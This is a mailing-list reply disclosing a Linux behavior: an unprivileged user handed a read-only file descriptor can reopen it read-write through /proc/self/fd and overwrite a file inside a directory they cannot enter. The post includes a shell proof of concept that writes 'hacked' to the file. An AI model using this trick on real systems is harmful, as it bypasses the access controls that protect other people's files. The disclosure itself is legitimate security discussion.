[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: /proc filesystem allows bypassing directory permissions on Linux

> > 0700 mode from the origin, you would be right, and procfs wouldn't allow 
> > opening files in that directory too, but if you let others to traverse 
> > that directory and open your believed to be secure files from the origin, 
> > it's your fault.
> I can do the example with fd passing and 700 directory, but it would
> be lot of C code. Feel free to play, my example was not nearly the
> only way to demonstrate it, and no, it was not racy.

Here is an example that shows the behavior where a passed read-only fd
can become read-write by reopening it through /proc, when file
permissions allow it (but directory permissions do not):

  $ sudo su
  # mkdir -m 0700 /dir
  # echo "safe" > /dir/file.txt
  # chmod 0666 /dir/file.txt
  # ls -al /dir
  total 12
  drwx------  2 root root 4096 2009-10-29 00:28 .
  drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
  -rw-rw-rw-  1 root root    7 2009-10-29 00:43 file.txt
  # cat /dir/file.txt

Now user "nobody" cannot read or write this file:

  # su nobody -c 'cat /dir/file.txt'
  sh: /dir/file.txt: Permission denied
  # su nobody -c 'echo "hacked" > /dir/file.txt'
  sh: /dir/file.txt: Permission denied
  # cat /dir/file.txt

If we provide an open read-only file descriptor (as stdin, fd 0), they
can read it:

  # su nobody -c 'cat <&0' < /dir/file.txt

But they still can't write to this descriptor:

  # su nobody -c 'echo "hacked" >&0' < /dir/file.txt
  sh: line 0: echo: write error: Bad file descriptor

Unless we re-open the file using the magic link in /proc:

  # su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
  # cat /dir/file.txt

Again, debatable whether this is a bug, but it's certainly
non-obvious.  There is no other way (that I'm aware) for the "nobody"
user to gain write access to /dir/file.txt, even when given a
read-only fd, without using /proc.